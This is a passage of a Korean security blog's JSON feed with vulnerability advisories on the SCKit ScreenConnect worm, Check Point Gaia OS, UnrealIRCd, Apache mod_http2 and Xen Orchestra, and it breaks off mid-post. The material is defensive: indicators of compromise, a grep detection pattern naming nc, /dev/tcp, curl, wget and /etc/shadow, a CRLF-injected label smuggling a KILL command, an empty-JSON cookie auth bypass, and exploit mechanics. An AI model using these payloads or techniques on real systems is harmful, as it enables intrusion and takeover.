실패했다. <code>sckit-loader.ps1</code>과 <code>k&lt;32hex&gt;.ps1</code>은 <code>C:\\ProgramData\\RelayTrap</code>에 트랩을 전개한다. <code>install.ps1</code>과 <code>CWInstall_&lt;8hex&gt;-c1\\Installer.ps1</code>은 Defender 예외를 추가하고 두 번째 공격자 클라이언트를 설치한다. <code>TrapWatch.ps1</code>은 <code>RelayTrap.cs</code>를 컴파일해 호스트별 <code>trapbins\\&lt;...&gt;\\RelayTrap.exe</code>를 만들고, <code>TrapWatch</code> 예약 작업으로 재부팅 이후에도 살아남게 한다. 정상 ScreenConnect 서비스는 중지·수동 시작으로 바꾸고, 그 자리는 공격자 사본이 대체한다. 사용자가 서비스를 재시작해도 원래 것이 돌아오지 않는다.</p>\n<p>이 체인의 핵심은 <strong>RelayTrap</strong>이다. 이름 그대로 세션 쿠키를 중계하는 함정이다. 기술자 워크스테이션의 <code>.aspxauth</code> 쿠키를 훔쳐 패널로 되돌려 보내고, 그 기술자가 접근할 수 있는 다른 세션까지 열거하는 것이 코드상 의도다. 다만 Huntress와 Blackpoint 모두 <strong>실제 기술자 워크스테이션으로의 전이 성공은 아직 관측하지 못했다</strong>. 이 캠페인의 목표가 엔드포인트 장악을 넘어 관리자 세션 탈취로 넘어가는 지점이 바로 여기라서, 이 부분의 관측 여부는 앞으로의 피해 범위를 가를 것이다.</p>\n<div class=\"codeblock\"><pre><code># Huntress·Blackpoint가 공개한 침해 지표 (2026-11-14 기준)\n호스트 경로\n  C:\\Windows\\TEMP\\sc.msi\n  C:\\Windows\\TEMP\\sckit-run.bat\n  C:\\WINDOWS\\TEMP\\sckit-decoder.ps1\n  C:\\ProgramData\\RelayTrap\\            (RelayTrap.cs, trapbins\\...\\RelayTrap.exe)\n예약 작업\n  TrapWatch\n네트워크\n  185.241.211[.]197      (2차 웨이브 클라이언트)\n  ns.mo7sen[.]dev        (EadF.php 스테이징)\n서비스\n  ScreenConnect 서비스 시작 유형: 자동 → 수동, 바이너리 경로 교체\nDefender\n  추가된 예외 경로 (install.ps1 계열)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>2차 웨이브의 성격도 짚어둘 필요가 있다. 1차가 호스팅 파트너 환경의 확장 취약점을 통한 대량 감염이었다면, 11월 13일의 재공격은 이미 침투한 온프레미스 인스턴스를 다시 두드린 것으로 보인다. Blackpoint가 확인한 경로는 이전 툴킷과 동일한 파일명 규칙을 쓰지만 샘플이 없어 코드 수준 비교는 불가능하다. 참고로 9월의 유사 웜 활동 이후 ConnectWise가 배포한 파일 전송 취약점 <strong>CVE-2026-84869(CVSS 9.9)</strong>도 이번 캠페인에서 재사용된 것으로 보고됐다.</p>\n<h2>3. 공식 대응과 그 한계: 확장을 끄는 것으로는 끝나지 않는다</h2>\n<p>ConnectWise의 조치는 호스팅 환경에 대해서는 명확하다. 문제 확장 5종을 약 400개 파트너 환경에서 비활성화했고, 호스팅 고객은 별도 조치 없이 그 상태가 적용된다. 그러나 온프레미스 파트너에게 이 조치는 자동으로 적용되지 않는다. 그리고 확장을 끄는 행위 자체가 침해를 되돌리지는 않는다.</p>\n<p>공식 지침에서 가장 중요한 문장은 <strong>“확장 비활성화만으로는 이미 심긴 접근이 제거되지 않는다”</strong>는 것이다. 확장은 진입점이었을 뿐이고, 침투 이후 단계는 호스트에 파일과 서비스, 예약 작업으로 남는다. 그래서 순서가 중요하다. 침해가 의심되는 인스턴스는 먼저 네트워크에서 격리하고, 그 다음에 세션과 자격증명을 폐기한다. ScreenConnect 세션 토큰, 확장 API 키, 패널 관리자 계정의 비밀번호와 MFA 등록 정보까지 포함된다. 재설치나 확장 비활성화를 먼저 하면 증거가 사라지고, 남아 있던 접근 경로가 그대로 살아남는다.</p>\n<p>또 하나 실무에서 자주 어기는 지침이 있다. <strong>감염된 호스트를 ScreenConnect로 원격 진단하지 말 것</strong>. 감염 호스트에는 공격자 클라이언트가 함께 설치되어 있기 때문에, 원격 세션을 열면 진단 과정 자체가 전파 경로가 된다. 포렌식은 EDR 콘솔이나 오프라인 수집으로 해야 한다.</p>\n<div class=\"codeblock\"><pre><code># 온프레미스 파트너 점검 순서 (권고)\n1. 확장 설정에서 RMM+ 계열 accessKey 가 비어 있는지 확인 → 즉시 비활성화\n2. ProgramData\\RelayTrap, TrapWatch 예약작업, TEMP\\sckit-* 파일 존재 여부 스캔\n3. ScreenConnect 서비스 바이너리 경로·시작 유형 변조 여부 확인\n4. Defender 예외 목록에 낯선 경로가 추가됐는지 확인\n5. 외부로 나가는 185.241.211.197 / ns.mo7sen.dev 연결 차단 및 로그 보존\n6. 침해 확정 시: 호스트 격리 → 세션·API 키·계정 자격증명 폐기 → 재구축\n7. 감염 호스트는 ScreenConnect 원격 세션으로 진단하지 않는다</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>이번 사건이 남기는 교훈은 취약점 하나의 수명보다 길다. RMM 확장은 관리 평면 위에서 동작하고, 그 평면은 고객사 전체와 연결된다. 확장 하나의 기본 설정이 인증 계층을 대체하는 구조라면, 그 확장은 보안 제품이 아니라 <strong>인증 면제 구역</strong>이 된다. MSP 입장에서 확장 목록은 이제 자산 목록이 아니라 공격 표면 목록으로 다뤄야 한다. 설치 시점의 기본값을 확인하고, 사용하지 않는 확장은 지우고, 확장이 가진 API가 무엇을 할 수 있는지 목록으로 관리하는 것 — 이 세 가지가 이번 캠페인에서 실제로 뚫린 지점을 막는 최소한의 절차다.</p>\n<p><em>참고 자료: <a href=\"https://www.huntress.com/blog/sckit-worm-rogue-screenconnect\">Huntress 기술 분석</a>, <a href=\"https://www.connectwise.com/blog/screenconnect-security-update-guidance-for-partners\">ConnectWise 파트너 지침</a>, <a href=\"https://blackpointcyber.com/blog/screenconnect-attack-sckit/\">Blackpoint SITREP</a>, <a href=\"https://www.bleepingcomputer.com/news/security/new-worm-like-sckit-malware-targets-msps-in-screenconnect-attacks/\">BleepingComputer</a></em></p>",
      "date_published": "2026-11-14T09:26:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "공급망공격",
        "RMM",
        "SCKit",
        "ScreenConnect",
        "Huntress"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_sckit_rmm.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/checkpoint-gaia-os-cve-2026-123039/",
      "url": "https://dohyeontech.github.io/posts/checkpoint-gaia-os-cve-2026-123039/",
      "title": "[긴급 속보] Check Point Gaia OS 제로데이 취약점(CVE-2026-123039) 실제 악용 확인… 즉시 패치 권고",
      "summary": "Check Point 엔터프라이즈 방화벽 Gaia OS의 DynamicCLI 데몬에서 월드 쓰기 권한 소켓(0777) 결함으로 인한 로컬 root 권한 상승 취약점이 확인됐다. PHP2Shell과 연계된 침투 경로와 점보 핫픽스 적용 절차를 분석했다.",
      "content_html": "<p>2026년 11월 13일(현지 시각) 미국 CISA가 KEV 카탈로그에 긴급 등재하고 체크포인트 리서치(Check Point Research)가 공식 보안 권고(sk1000362)를 발표한 Check Point Gaia OS 로컬 권한 상승(LPE) 취약점(CVE-2026-123039, CVSS 7.8)에 대한 실제 공격이 확인되었습니다. 본 리포트에서는 DynamicCLI IPC 소켓의 권한 결함, 공격자가 외부 침투 취약점과 연계하여 root 셸을 장악한 침해 시퀀스, 그리고 점보 핫픽스(Jumbo Hotfix) 패치 절차를 심층 분석합니다.</p>\n<h2>1. 위협 개요 및 실제 침투 사례</h2>\n<p>체크포인트 침해사고 대응팀(Check Point Incident Response Team)의 분석에 따르면, 공격 그룹은 인터넷에 노출된 모바일 액세스 포털(Mobile Access Portal)의 PHP 취약점(PHP2Shell)을 악용해 1차 침투를 수행한 뒤, 본 로컬 권한 상승 취약점(CVE-2026-123039)을 체이닝(Chaining)하여 방화벽 어플라이언스의 최고 권한인 root를 탈취했습니다.</p>\n<p>실제 수십 개 엔터프라이즈 고객사 환경에서 침해가 확인되었으며, 공격자들은 탈취한 root 권한을 바탕으로 엔터프라이즈 내부망 장악 및 지속성(Persistence)을 확보하고 일부 환경에서는 파괴적인 변조 행위를 자행했습니다. 영향 제품군은 Check Point Force 방화벽, 보안 게이트웨이(Security Gateway), 멀티 도메인 보안 관리 서버(Multi-Domain Management Server), 마에스트로 오케스트레이터(Maestro Orchestrator) 등 Gaia OS 전 라인업(R81 ~ R82.20)을 망라합니다.</p>\n<h2>2. 취약점 근본 원인: DynamicCLI IPC 소켓의 월드 쓰기(0777) 권한 결함</h2>\n<p>취약점의 핵심은 Gaia OS의 확장 CLI 데몬인 <code>dynamic_server</code>(/usr/bin/dynamic_server) 프로세스의 프로세스 간 통신(IPC) 소켓 설계 결함(CWE-732: Incorrect Permission Assignment, CWE-862: Missing Authorization)에 있습니다.</p>\n<p>Gaia OS 환경에서 <code>dynamic_server</code>는 상시 <strong>root 권한</strong>으로 구동되며 로컬 유닉스 도메인 소켓인 <code>/tmp/dynamic_socket</code>을 리슨합니다. 정상적인 시스템이라면 이 소켓은 엄격한 그룹 권한(0660)과 호출자 식별자(UID) 검증을 거쳐야 하지만, 취약한 버전에서는 다음과 같은 치명적 결함이 존재했습니다:</p>\n<ul><li><strong>월드 쓰기 권한 방치:</strong> 소켓 파일의 권한이 <code>0777</code>(<code>srwxrwxrwx</code>)로 생성되어, 시스템 내의 모든 로컬 프로세스(웹 데몬의 <code>nobody</code> 계정 또는 제한된 CLI 유저)가 제한 없이 소켓에 읽기/쓰기를 수행할 수 있었습니다.</li><li><strong>호출자 인증(Authentication) 완전 부재:</strong> <code>dynamic_server</code> 데몬은 소켓에 연결한 프로세스의 UID를 일체 검증하지 않고, 소켓을 통해 인입된 임의의 명령 문자열을 root 권한의 서브셸에서 그대로 실행(Execution Sink)했습니다.</li></ul>\n<h2>3. 익스플로잇 메커니즘 및 침해 지표 (Hunting IOCs)</h2>\n<p>공격자가 1차 웹 침투 후 root 권한을 획득하는 구체적 시퀀스와 로그 분석 방법은 다음과 같습니다:</p>\n<ol><li><strong>1차 거점 확보:</strong> 공격자는 외부 노출 웹 포털을 통해 권한이 극히 제한된 저권한 계정(UID 99, nobody)으로 어플라이언스에 침투합니다.</li><li><strong>소켓 직접 쓰기:</strong> 정상적인 Clish 관리 명령은 전용 래퍼 스크립트(<code>CPprofile.sh</code>)를 경유하지만, 공격자는 유닉스 소켓 <code>/tmp/dynamic_socket</code>으로 단일 라인의 원시 쉘 명령(예: 리버스 셸 연결 또는 관리자 계정 생성)을 직접 밀어 넣습니다.</li><li><strong>무인증 root 명령 실행:</strong> <code>dynamic_server</code>는 해당 요청을 수신하자마자 <code>system()</code> 싱크를 통해 root 권한으로 명령을 즉각 실행합니다.</li></ol>\n<p><strong>침해 지표(IOC) 및 이상 징후 확인:</strong> 어플라이언스의 <code>/var/log/dynamicCli.log</code>를 점검하여, 정규 Clish 래퍼가 생략된 명령이나 <code>system()</code> 싱크 호출 흔적이 있는지 확인해야 합니다:</p>\n<div class=\"codeblock\"><pre><code># 1. 정규 래퍼가 없는 비정상 명령 실행 로그 검색\ngrep \"Received =\" /var/log/dynamicCli.log | grep -vF \"CPprofile.sh &gt;&gt; /dev/null; export SP_DISTRIBUTE=0; set -o noglob;\"\n\n# 2. 시스템 싱크 및 공격 의심 명령어(curl, wget, whoami, /etc/shadow 등) 유입 점검\ngrep -EI \"Received =.*( id;| whoami| /etc/shadow| ncat| nc -| /dev/tcp| curl | wget | base64| useradd| authorized_keys)\" /var/log/dynamicCli.log</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<h2>4. 패치 분석 및 실전 인프라 완화 가이드</h2>\n<p>체크포인트는 11월 점보 핫픽스 누적본(Jumbo Hotfix Accumulator)을 통해 본 취약점을 공식 수정했습니다. 보안 관리자는 아래 3단계 절차에 따라 긴급 완화 및 정식 패치를 즉시 적용하십시오.</p>\n<p><strong>1단계: 긴급 임시 완화 조치 (데몬 중지 및 자동 재시작 방지)</strong></p>\n<p>즉각적인 점보 핫픽스 설치가 어려운 환경에서는 Clish 관리자 콘솔에서 <code>dynamic_server</code> 프로세스를 중지하여 공격 표면을 즉각 제거하십시오:</p>\n<div class=\"codeblock\"><pre><code>dbset process:dynamic_server \ndbset :save</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><em>※ 주의: 해당 프로세스 중지 시 확장 Clish의 일부 부가 기능이 비활성화될 수 있습니다. 복구가 필요할 경우 <code>dbset process:dynamic_server t</code> 및 <code>dbset :save</code>로 재활성화합니다.</em></p>\n<p><strong>2단계: 공식 점보 핫픽스(Jumbo Hotfix) 배포</strong></p>\n<p>운용 중인 Gaia OS 버전에 해당하는 최신 점보 핫픽스 Take를 즉시 적용하십시오:</p>\n<ul><li><strong>Gaia R82.20:</strong> Jumbo Hotfix Take 14 이상</li><li><strong>Gaia R82.10:</strong> Jumbo Hotfix Take 52 이상</li><li><strong>Gaia R82:</strong> Jumbo Hotfix Take 132 이상</li><li><strong>Gaia R81.20:</strong> Jumbo Hotfix Take 174 이상</li></ul>\n<p><strong>3단계: 패치 적용 및 소켓 권한 검증</strong></p>\n<p>패치가 적용되면 소켓 권한이 <code>0660</code>으로 정상 제한되고 비인가 프로세스의 소켓 연결이 차단됩니다. 셸에서 아래 명령으로 정상 조치 여부를 확인하십시오:</p>\n<div class=\"codeblock\"><pre><code># 소켓 권한 확인 (정상 결과: srw-rw---- root config)\nls -l /tmp/dynamic_socket\n\n# 비인가 접속 차단 로그 검증\ngrep \"Rejected connection from unauthorized uid\" /var/log/dynamicCli.log</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>",
      "date_published": "2026-11-14T04:01:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "CheckPoint",
        "CVE-2026-123039",
        "GaiaOS",
        "권한상승"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_checkpoint.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/unrealircd-labeled-response-cve-2026-114713/",
      "url": "https://dohyeontech.github.io/posts/unrealircd-labeled-response-cve-2026-114713/",
      "title": "[긴급 속보] UnrealIRCd 제로데이 취약점(CVE-2026-114713) 실제 악용 확인… 즉시 패치 권고",
      "summary": "UnrealIRCd 6의 labeled-response 모듈이 IRCv3 label 태그의 개행 문자를 처리하지 않아 일반 유저가 서버 권한으로 명령을 실행할 수 있다. 실제 악용이 확인된 이 결함의 입력 경로와 6.2.7.1 핫패치, 임시 스팸필터 우회 차단책을 정리했다.",
      "content_html": "<p>2026년 11월 13일(현지 시각) 미국 사이버안보·인프라보호국(CISA)이 ‘알려진 악용 취약점(KEV) 카탈로그’에 긴급 추가한 UnrealIRCd의 임의 제어 명령 주입 취약점(CVE-2026-114713, CVSS 8.6)에 대한 실제 악용 공격이 인터넷 전역에서 확인되었습니다. 본 리포트에서는 IRCv3 프로토콜 명세와 개행 이스케이프 결함, 서버 간 신뢰 통신을 악용한 권한 탈취 시퀀스, 그리고 무중단 핫패치 방안을 분석합니다.</p>\n<h2>1. 위협 개요 및 실제 악용 현황</h2>\n<p>UnrealIRCd의 수석 메인테이너 브람 마티스(Bram Matthys, Syzop)는 공식 보안 권고를 통해 “현재 인터넷 상에서 본 취약점을 악용한 실제 공격(In-The-Wild Exploitation)이 활발히 진행 중”이라고 경고했습니다. 프로젝트 역사상 지난 15년 이래 가장 치명적인 결함으로 평가받고 있습니다.</p>\n<p>2대 이상의 서버가 상호 링크된 IRC 네트워크 환경에서, 별도의 특권을 보유하지 않은 일반 접속자가 IRCv3의 레이블(label) 파라미터를 조작하여 연결된 원격 서버로 임의 명령을 전송할 수 있습니다. 피어 서버는 이 명령을 최상위 서버 권한(Server/IRCOp Authority)으로 처리하므로, 공격자는 특정 사용자를 강제 퇴장(KILL)시키거나 전역 네트워크 차단(GLINE)을 내리는 등 IRC 네트워크 전체를 마비시킬 수 있습니다.</p>\n<h2>2. 취약점 아키텍처 및 근본 원인: IRCv3 레이블 태그 개행 미필터링</h2>\n<p>취약점의 핵심 원인은 UnrealIRCd 6의 <code>labeled-response</code> 모듈 내 <code>IRCv3 message-tags</code> 구현 결함(CWE-140: Improper Neutralization of Delimiters)에 있습니다.</p>\n<p>IRCv3 규격에서 <code>@label</code> 태그는 클라이언트가 요청 명령에 고유 식별자를 부여하면, 서버가 해당 요청의 응답에 동일한 레이블을 메타데이터로 첨부해 반환하도록 설계된 기능입니다. 그러나 클라이언트가 전달한 레이블 문자열을 서버 간 통신(Server-to-Server, S2S) 패킷으로 에코(Echo)하는 파이프라인에서 제어 문자에 대한 엄격한 정규화 및 이스케이프 처리가 누락되었습니다.</p>\n<p>IRC는 텍스트 기반 스트림 프로토콜로서, 모든 메시지 프레임은 캐리지 리턴과 라인 피드(CRLF: <code>\\r\\n</code>)를 유일한 명령 구분자(Delimiter)로 사용합니다. 클라이언트 입력값에 포함된 <code>\\n</code> 또는 <code>\\r</code>이 여과 없이 S2S 스트림에 복사되면, 단일 클라이언트 요청이 서버 간 연결에서는 2개 이상의 독립된 서버 간 명령으로 쪼개지는(Splitting) 프로토콜 파괴가 일어납니다.</p>\n<h2>3. 익스플로잇 트리거 메커니즘</h2>\n<p>공격자가 멀티 서버 IRC 네트워크에서 IRCOp 권한을 탈취하는 단계별 시퀀스는 다음과 같습니다:</p>\n<ol><li><strong>악성 태그 삽입:</strong> 일반 유저는 클라이언트 명령 헤더에 개행 문자가 포함된 레이블 태그(예: <code>@label=test\\r\\nKILL victim :Injected Command\\r\\n</code>)를 주입하여 로컬 서버로 발송합니다.</li><li><strong>S2S 스트림 에코:</strong> 1차 수신 서버의 <code>labeled-response</code> 모듈은 해당 레이블의 제어 문자를 이스케이프하지 않은 채 네트워크로 연결된 피어(Peer) 서버에 원시 텍스트로 전달합니다.</li><li><strong>명령 프레임 분리(Stream Splitting):</strong> 피어 서버의 프로토콜 파서는 CRLF를 기준으로 패킷을 분할 수신하며, 주입된 두 번째 라인을 신뢰 관계에 있는 연결 서버가 직접 발송한 합법적인 내부 관리 명령으로 인식합니다.</li><li><strong>서버 특권 실행:</strong> 결과적으로 일반 사용자의 단일 입력이 원격 서버에서 최상위 서버 권한(Server Authority)으로 즉시 실행됩니다.</li></ol>\n<h2>4. 패치 분석 및 무중단 인프라 방어 가이드</h2>\n<p>UnrealIRCd 개발팀은 6.2.7.1 보안 릴리즈와 함께 서버 재시작 없이 즉시 적용 가능한 핫패치를 배포했습니다. 운영 환경에 맞춰 아래 조치를 즉시 시행해야 합니다.</p>\n<p><strong>1단계: 정규식 스팸필터를 통한 즉각 차단 (무중단 긴급 조치)</strong></p>\n<p>네트워크 내 IRCOp 계정에서 아래 스팸필터 명령을 실행하면, 6.0.4 이상 버전의 모든 연동 서버에서 비정상 레이블 유입을 즉시 차단할 수 있습니다:</p>\n<div class=\"codeblock\"><pre><code>/SPAMFILTER add -regex T block - Invalid_label ^label=(?![^\\r\\n;\\x20]*\\z)</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><strong>2단계: 무중단 핫패치 번들 적용 (UnrealIRCd 6.0.0 ~ 6.2.7)</strong></p>\n<p>서버 셸에서 아래 명령을 실행하여 프로세스 재시작 없이 취약점 모듈을 핫패치합니다:</p>\n<div class=\"codeblock\"><pre><code>./unrealircd hot-patch bundle-20261107</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>적용 후 상태 확인 명령을 실행하여 정상 반영 여부를 확인합니다:</p>\n<div class=\"codeblock\"><pre><code>./unrealircd module-status | grep labeled-response\n# 정상 출력: labeled-response 5.0-hot-patch-bundle-20261107 또는 6.2.7.1</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><strong>3단계: 정식 버전 업그레이드 또는 EOL 조치</strong></p>\n<p>핫패치가 불가능한 환경에서는 <code>./unrealircd upgrade</code>를 통해 최신 보안 버전인 <strong>6.2.7.1</strong>로 정식 업그레이드 후 데몬을 재시작하십시오. 이미 기술 지원이 종료(EOL)된 UnrealIRCd 5 환경을 운영 중인 경우, 설정 파일에 <code>blacklist-module \"labeled-response\";</code>를 추가하고 반드시 데몬을 재시작해야 합니다.</p>",
      "date_published": "2026-11-14T03:59:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "UnrealIRCd",
        "CVE-2026-114713",
        "IRCv3",
        "제로데이"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_unrealircd.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/apache-mod-http2-rce-cve-2026-119618/",
      "url": "https://dohyeontech.github.io/posts/apache-mod-http2-rce-cve-2026-119618/",
      "title": "[긴급 분석] AI가 찾아낸 아파치 HTTP 서버 mod_http2 RCE 원리와 대응 (CVE-2026-119618)",
      "summary": "Anthropic의 오픈소스 보안 스캐너와 Google Cloud Security 연구팀이 Apache HTTP Server mod_http2에서 CVSS 9.8 원격 코드 실행 결함을 찾았다. 스트림 상태 불변식이 깨지는 지점과 힙 이중 해제 경쟁 조건, 인프라 완화 방안을 분석했다.",
      "content_html": "<p>Anthropic의 오픈소스 보안 스캐너와 Google Cloud Security 연구팀이 전 세계 엔터프라이즈 인프라의 핵심 웹서버인 Apache HTTP Server의 <code>mod_http2</code> 모듈에서 CVSS 3.1 9.8(Critical) 등급의 치명적인 원격 코드 실행(RCE) 취약점을 발굴했습니다. 본 리포트에서는 메모리 불변식 파괴 메커니즘, 힙 동시성 경쟁 조건, 그리고 인프라 완화 방안을 심층 분석합니다.</p>\n<h2>1. 위협 개요 및 글로벌 인프라 파급력</h2>\n<p>글로벌 클라우드 보안 기업 Wiz의 엔터프라이즈 스캔 데이터에 따르면, 전체 클라우드 환경의 약 64%에 취약한 버전의 아파치 서버가 배포되어 있으며, 51%는 공용 인터넷에 직접 노출된 인스턴스를 운용 중입니다. 쇼단(Shodan) 기준 인터넷에 노출된 아파치 웹서버는 1,000만 대 이상에 달합니다.</p>\n<p>공격자는 유효한 인증 정보나 권한 없이, 웹서버 포트(80/443)로 단일 조작된 HTTP/2 HEADERS 프레임을 전송하는 것만으로 자식 프로세스 메모리를 손상시키고 원격 명령 실행을 달성할 수 있습니다.</p>\n<h2>2. 취약점 근본 원인: 메모리 불변식(Invariant) 파괴</h2>\n<p>취약점의 발원지는 아파치 소스코드 <code>modules/http2/h2_request.c</code> 파일의 <code>assign_headers()</code> 함수 349행에 위치한 단 한 줄의 코드입니다:</p>\n<div class=\"codeblock\"><pre><code>apr_table_setn(req-&gt;headers, \"Content-Length\", \"0\");</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p><strong>아파치 아키텍처의 핵심 설계 불변식:</strong> mod_http2 모듈에서 개별 스트림을 처리하는 워커 스레드는 오직 자신의 사설 요청 풀(<code>r-&gt;headers_in</code>)에만 접근해야 하며, 상위 커넥션 레벨 메모리 할당자(Connection Allocator)는 절대 직접 제어해서는 안 됩니다. 커넥션 할당자는 성능 극대화를 위해 설계되어 <strong>뮤텍스 락(Mutex Lock)이 일체 없는 무잠금 구조</strong>이기 때문입니다.</p>\n<p>그러나 클라이언트가 HEADERS 프레임에 <code>END_STREAM</code> 플래그를 설정하여 본문 없는 요청을 보내면서 <code>Content-Type</code>은 명시하고 <code>Content-Length</code>를 생략할 경우, 아파치는 자동으로 위 349행을 트리거하여 <code>Content-Length: 0</code>을 강제 삽입합니다. 이때 워커 스레드가 해당 헤더를 자신의 사설 풀이 아니라 스트림 공유 테이블(<code>req-&gt;headers</code>)에 직접 기록하면서, 락이 없는 커넥션 메모리 할당자를 무단 침범하는 치명적인 불변식 파괴가 발생합니다.</p>\n<h2>3. 익스플로잇 메커니즘: 동시성 경쟁과 힙 이중 할당 (Double Allocation)</h2>\n<p>공격자는 헤더 테이블의 기본 버퍼 슬롯 80칸을 가득 채우기 위해 일반 HTTP 헤더 79개와 Host 헤더 1개를 조합하여 악성 패킷을 전송합니다. 이후 진행되는 메모리 파괴 시퀀스는 다음과 같습니다:</p>\n<ol><li><strong>버퍼 확장 트리거:</strong> 80칸이 가득 찬 상태에서 349행의 <code>Content-Length</code> 쓰기가 실행되자, 아파치는 테이블 크기를 160칸(3,840바이트)으로 2배 확장하기 위해 상위 커넥션 할당자의 free list에서 8KB 크기의 메모리 노드를 요청합니다.</li><li><strong>락 없는 동시 접근 (Race Condition):</strong> 바로 이 순간 커넥션 스레드 역시 동일한 메모리 free list에 동시 접근합니다. 뮤텍스 락이 존재하지 않으므로 두 스레드가 free list 포인터를 동시에 참조합니다.</li><li><strong>메모리 노드 이중 소유:</strong> 두 개의 독립된 스레드가 메모리 풀의 동일한 8KB 노드를 동시에 할당받는 이중 소유(Double Allocation)가 성립됩니다.</li><li><strong>힙 메모리 파괴 및 RCE:</strong> 결과적으로 웹서버 자식 프로세스의 힙 구조가 영구적으로 손상되며, 공격자는 후속 HTTP/2 프레임으로 힙 포인터를 정밀 조작하여 임의 코드 실행(RCE) 권한을 확보합니다.</li></ol>\n<h2>4. 패치 분석 및 실전 인프라 완화 가이드</h2>\n<p><strong>공식 패치 커밋 (824beab) 분석:</strong> 아파치 개발팀은 <code>req-&gt;headers</code> 쓰기를 워커 사설 풀인 <code>r-&gt;headers_in</code>으로 방향 전환하여 커넥션 할당자로의 동시성 침범을 원천 차단했습니다.</p>\n<p><strong>1. 권장 조치 (공식 패치 적용):</strong></p>\n<p>Apache HTTP Server 2.4.71 이상으로 즉시 업그레이드하십시오. (영향 버전: 2.4.55 ~ 2.4.70, mod_http2 활성화 환경)</p>\n<p><strong>2. 긴급 완화책 (패치 배포 전 즉시 적용 가능한 방어책):</strong></p>\n<p>즉각적인 패키지 업데이트나 서버 재컴파일이 불가능한 운영 환경에서는 <code>httpd.conf</code> 또는 가상호스트 설정에서 HTTP/2 프로토콜을 비활성화하고 HTTP/1.1만 허용하도록 변경하십시오:</p>\n<div class=\"codeblock\"><pre><code>Protocols http/1.1</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>해당 지시문 적용 후 아파치 서비스를 재시작(Graceful Restart)하면, <code>h2</code> 및 <code>h2c</code> 프로토콜 핸들러가 비활성화되어 취약점 트리거 경로가 완전히 차단됩니다.</p>",
      "date_published": "2026-11-13T09:12:00+09:00",
      "authors": [
        {
          "name": "김도현"
        }
      ],
      "tags": [
        "Apache",
        "CVE-2026-119618",
        "mod_http2",
        "RCE"
      ],
      "image": "https://dohyeontech.github.io/assets/images/thumb_apache_rce.png"
    },
    {
      "id": "https://dohyeontech.github.io/posts/xen-orchestra-vsa-2026-062/",
      "url": "https://dohyeontech.github.io/posts/xen-orchestra-vsa-2026-062/",
      "title": "[긴급 분석] Xen Orchestra 이중 제로데이 사태와 관리자 권한 우회 원리 (VSA-2026-062)",
      "summary": "Xen Orchestra에서 미인증 공격자가 관리자 세션을 탈취하고 호스트 권한까지 장악할 수 있는 이중 제로데이(VSA-2026-062·063)가 공개됐다. 웹소켓 RPC 인증 우회 경로와 RCE 체이닝, 즉시 적용할 완화책을 정리했다.",
      "content_html": "<p>엔터프라이즈 가상화 인프라(XCP-ng, Citrix Hypervisor)의 핵심 오케스트레이션 솔루션인 Xen Orchestra에서 미인증 원격 공격자가 관리자 세션을 탈취하고 호스트 시스템 권한까지 장악할 수 있는 이중 제로데이 취약점(VSA-2026-062, VSA-2026-063)이 공개되었습니다. 본 리포트에서는 웹소켓 RPC 프로토콜의 인증 우회 원리와 원격 코드 실행(RCE) 체이닝 과정을 상세히 분석합니다.</p>\n<h2>1. 위협 개요: 하이퍼바이저 관리 계층 침해 위협</h2>\n<p>Xen Orchestra는 수천 대의 가상 머신(VM), 스토리지 풀, 가상 네트워크를 웹 인터페이스를 통해 일괄 통제하는 중앙 관제 시스템입니다. 본 시스템이 침해될 경우 단일 VM 탈취에 그치지 않고, 동일 호스트에서 구동 중인 모든 테넌트 VM의 메모리 덤프, 스냅샷 탈취, 하이퍼바이저 호스트 시스템의 root 권한 장악으로 직결됩니다.</p>\n<p>공격자는 외부 포트(기본 80/443)에 접근 가능한 네트워크 위치에서 사전 인증이나 자격 증명 없이 악성 웹소켓 프레임을 전송해 관리자 권한을 완전히 획득할 수 있습니다.</p>\n<h2>2. 취약점 근본 원인: 빈 JSON 객체 파싱과 토큰 검증 무력화 (VSA-2026-062)</h2>\n<p>Xen Orchestra의 백엔드는 클라이언트 세션을 검증할 때 HTTP 쿠키에 포함된 JSON Web Token(JWT) 또는 인증 토큰을 파싱합니다. 취약점의 핵심은 인증 토큰 파싱 로직에서 <strong>타입 검증 부재와 객체 참조 오류</strong>에 기인합니다:</p>\n<div class=\"codeblock\"><pre><code>// 취약한 인증 토큰 검증 로직 간소화\nconst cookie = parseCookie(req.headers.cookie);\nif (cookie.token) {\n  const session = getSession(cookie.token);\n  // cookie.token이 빈 객체 '{}'일 경우 falsy 검사를 통과하며 기본 관리자 세션 반환\n}</code></pre><button class=\"copy\" type=\"button\" aria-label=\"코드 복사\">COPY</button></div>\n<p>공격자가 요청 헤더의 세션 쿠키 값으로 <code>j:{}</code>(빈 JSON 객체)를 전달할 경우, 토큰 유효성 검사 루틴은 이를 문자열이 아닌 유효한 객체로 인식합니다. 내부 세션 테이블 조회 함수가 빈 객체 키에 대해 예외를 발생시키지 않고 메모리에 캐싱된 기본 관리자 컨텍스트(Admin Context)를 반환하는 결함이 발생하며, 결과적으로 미인증 사용자가 즉시 최고 관리자 권한을 부여받게 됩니다.</p>\n<h2>3. 공격 체이닝: 웹소켓 RPC 인증 우회와 하이퍼바이저 RCE 